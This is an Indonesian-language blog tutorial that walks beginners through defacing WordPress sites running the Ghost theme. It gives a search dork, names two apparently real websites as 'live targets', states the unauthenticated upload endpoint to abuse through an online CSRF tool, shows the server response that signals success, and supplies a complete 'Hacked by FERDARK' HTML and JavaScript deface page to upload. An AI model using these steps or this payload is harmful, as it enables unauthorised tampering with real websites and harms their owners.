DEFACE POC WP GHOST

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Ok halo kembali dengan daya Ferdy saya akan membahas tutorial deface poc wp ghost yang gampang banget anak bayi Juga bisa:v cocok buat pemula seperti anda

Dork
inurl:wp-content/themes/Ghost/

Live target
http://www.simseklerdugunsarayi.com
http://www.juvankoski.com/

Xploit
wp-content/themes/Ghost//includes/uploadify/upload_settings_image.php

Ok lanjut ngedork aja Kalo kurang TARGET

nah langsung ke csrf onlinen cari aja di google csrf online lalu masukan target tadi

http://www.simseklerdugunsarayi.com/wp-content/themes/Ghost//includes/uploadify/upload_settings_image.php

Nah kalo udah pencet target key lalu pilih script deface kalian nah Kalo udah jika ada bacaan seperti ini maka vuln

{“status”:”OK”,”imageID”:”sfxhtml”,”imageName”:”sfx.html”,”html”:”\n\t\n\t\thtml File<\/div><\/td>\n\t\tsfx.html\n\t\t\t[Delete]<\/a>\n\t\t<\/td>\n\t<\/tr>\n”}

nah jika ada bacaan seperti itu maka vuln lalu manggil script deface nya gini

http://www.simseklerdugunsarayi.com/wp-content/uploads/settingsimages/SCLO.html

Buat yang gak punya script deface bisa langsung copy script deface di bawah ini dan langsung record

<!DOCTYPE html><html lang="en" ><head>  <meta charset="UTF-8">  <title>Hacked by FERDARK</title>  <link href='https://fonts.googleapis.com/css?family=Raleway:200,400,800' rel='stylesheet' type='text/css'>    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">  <link rel='stylesheet prefetch' href='https://www.marcoguglie.it/Codepen/AnimatedHeaderBg/demo-1/css/demo.css'>  </head><body><audio src="autoplay"> </audio>  <div id="large-header" class="large-header">  <canvas id="demo-canvas"></canvas>    <h1 class="main-title">Hacked by FERDARK<br><span class="thin">[email protected]</span></h1></div>  <script src='https://www.marcoguglie.it/Codepen/AnimatedHeaderBg/demo-1/js/EasePack.min.js'></script><script src='https://www.marcoguglie.it/Codepen/AnimatedHeaderBg/demo-1/js/rAF.js'></script><script src='https://www.marcoguglie.it/Codepen/AnimatedHeaderBg/demo-1/js/TweenLite.min.js'></script><style>/* Header */.large-header {  position: relative;  width: 100%;  background: #333;  overflow: hidden;  background-size: cover;  background-position: center center;  z-index: 1;}#large-header {  background-image: url("https://www.marcoguglie.it/Codepen/AnimatedHeaderBg/demo-1/img/demo-1-bg.jpg");}.main-title {  position: absolute;  margin: 0;  padding: 0;  color: #f9f1e9;  text-align: center;  top: 50%;  left: 50%;  -webkit-transform: translate3d(-50%, -50%, 0);  transform: translate3d(-50%, -50%, 0);}.demo-1 .main-title {  text-transform: uppercase;  font-size: 7.2em;  letter-spacing: 0.1em;}.main-title .thin {  font-weight: 200;}@media only screen and (max-width: 768px) {  .demo-1 .main-title {    font-size: 3em;  }}</style><script type="text/javascript">(function() {    var width, height, largeHeader, canvas, ctx, points, target, animateHeader = true;    // Main    initHeader();    initAnimation();    addListeners();    function initHeader() {        width = window.innerWidth;        height = window.innerHeight;        target = {x: width/2, y: height/2};        largeHeader = document.getElementById('large-header');        largeHeader.style.height = height+'px';        canvas = document.getElementById('demo-canvas');        canvas.width = width;        canvas.height = height;        ctx = canvas.getContext('2d');        // create points        points = [];        for(var x = 0; x < width; x = x + width/20) {            for(var y = 0; y < height; y = y + height/20) {                var px = x + Math.random()*width/20;                var py = y + Math.random()*height/20;                var p = {x: px, originX: px, y: py, originY: py };                points.push(p);            }        }        // for each point find the 5 closest points        for(var i = 0; i < points.length; i++) {            var closest = [];            var p1 = points[i];            for(var j = 0; j < points.length; j++) {                var p2 = points[j]                if(!(p1 == p2)) {                    var placed = false;                    for(var k = 0; k < 5; k++) {                        if(!placed) {                            if(closest[k] == undefined) {                                closest[k] = p2;                                placed = true;                            }                        }                    }                    for(var k = 0; k < 5; k++) {                        if(!placed) {                            if(getDistance(p1, p2) < getDistance(p1, closest[k])) {                                closest[k] = p2;                                placed = true;                            }                        }                    }                }            }            p1.closest = closest;        }        // assign a circle to each point        for(var i in points) {            var c = new Circle(points[i], 2+Math.random()*2, 'rgba(255,255,255,0.3)');            points[i].circle = c;        }    }    // Event handling    function addListeners() {        if(!('ontouchstart' in window)) {            window.addEventListener('mousemove', mouseMove);        }        window.addEventListener('scroll', scrollCheck);        window.addEventListener('resize', resize);    }    function mouseMove(e) {        var posx = posy = 0;        if (e.pageX || e.pageY) {            posx = e.pageX;            posy = e.pageY;        }        else if (e.clientX || e.clientY)    {            posx = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;            posy = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;        }        target.x = posx;        target.y = posy;    }    function scrollCheck() {        if(document.body.scrollTop > height) animateHeader = false;        else animateHeader = true;    }    function resize() {        width = window.innerWidth;        height = window.innerHeight;        largeHeader.style.height = height+'px';        canvas.width = width;        canvas.height = height;    }    // animation    function initAnimation() {        animate();        for(var i in points) {            shiftPoint(points[i]);        }    }    function animate() {        if(animateHeader) {            ctx.clearRect(0,0,width,height);            for(var i in points) {                // detect points in range                if(Math.abs(getDistance(target, points[i])) < 4000) {                    points[i].active = 0.3;                    points[i].circle.active = 0.6;                } else if(Math.abs(getDistance(target, points[i])) < 20000) {                    points[i].active = 0.1;                    points[i].circle.active = 0.3;                } else if(Math.abs(getDistance(target, points[i])) < 40000) {                    points[i].active = 0.02;                    points[i].circle.active = 0.1;                } else {                    points[i].active = 0;                    points[i].circle.active = 0;                }                drawLines(points[i]);                points[i].circle.draw();            }        }        requestAnimationFrame(animate);    }    function shiftPoint(p) {        TweenLite.to(p, 1+1*Math.random(), {x:p.originX-50+Math.random()*100,            y: p.originY-50+Math.random()*100, ease:Circ.easeInOut,            onComplete: function() {                shiftPoint(p);            }});    }    // Canvas manipulation    function drawLines(p) {        if(!p.active) return;        for(var i in p.closest) {            ctx.beginPath();            ctx.moveTo(p.x, p.y);            ctx.lineTo(p.closest[i].x, p.closest[i].y);            ctx.strokeStyle = 'rgba(156,217,249,'+ p.active+')';            ctx.stroke();        }    }    function Circle(pos,rad,color) {        var _this = this;        // constructor        (function() {            _this.pos = pos || null;            _this.radius = rad || null;            _this.color = color || null;        })();        this.draw = function() {            if(!_this.active) return;            ctx.beginPath();            ctx.arc(_this.pos.x, _this.pos.y, _this.radius, 0, 2 * Math.PI, false);            ctx.fillStyle = 'rgba(156,217,249,'+ _this.active+')';            ctx.fill();        };    }    // Util    function getDistance(p1, p2) {        return Math.pow(p1.x - p2.x, 2) + Math.pow(p1.y - p2.y, 2);    }    })();</script>

Sekian dan terimakasih

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